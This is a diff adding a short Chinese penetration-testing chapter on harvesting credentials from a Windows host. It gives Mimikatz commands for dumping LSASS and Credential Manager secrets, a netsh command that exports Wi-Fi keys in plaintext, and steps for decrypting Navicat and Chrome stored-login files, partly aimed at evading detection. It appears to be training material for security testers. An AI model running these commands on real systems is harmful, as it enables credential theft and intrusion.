Web View

_book/Chapter1/1-28.md

@@ -0,0 +1,48 @@
+### 怎么收集主机上的所有有关密码的敏感信息
+
+**1. Mimikatz 抓取系统和 RDP 凭证**
+
+Mimikatz 是绕过 Windows 安全机制、在内存中抓取明文密码或哈希的旗舰工具
+
+- **抓取系统登录密码/哈希 (LSASS 内存)：**
+
+  ```
+  mimikatz.exe
+  privilege::debug
+  sekurlsa::logonpasswords
+  ```
+
+- **抓取 RDP/保存的 Windows 凭证 (Credential Manager)：**
+
+  ```
+  mimikatz.exe
+  privilege::debug
+  sekurlsa::credman
+  ```
+
+
+
+**2. Wi-Fi 密码抓取**
+
+作为渗透测试工程师，我们倾向于使用系统自带的命令来减少被检测的风险。
+
+- **步骤一：导出所有 Wi-Fi 配置文件**
+
+  ```powershell
+  netsh wlan export profile key=clear folder=C:\Temp
+  ```
+
+  （注意：key=clear 会导出明文密码）
+
+- **步骤二：提取密码** 读取导出的 `C:\Temp` 目录下的 XML 文件，搜索 `<keyMaterial>` 标签即可找到明文密码
+
+
+
+**3. 针对特定软件凭证 (Xshell, Navicat, 浏览器)**
+
+对于这些应用软件，通常需要找到对应的**开源解密工具**，这些工具通常托管在 GitHub 上，专门针对该软件的特定加密算法进行逆向和解密
+
+- **一般操作流程：**
+  1. 找到目标软件的配置文件或数据库文件（例如，Navicat 的 `.ncx` 文件、Chrome 的 `Login Data` SQLite 文件）
+  2. 将文件下载到本地（如果权限允许）
+  3. 使用对应的 GitHub 开源解密工具进行解密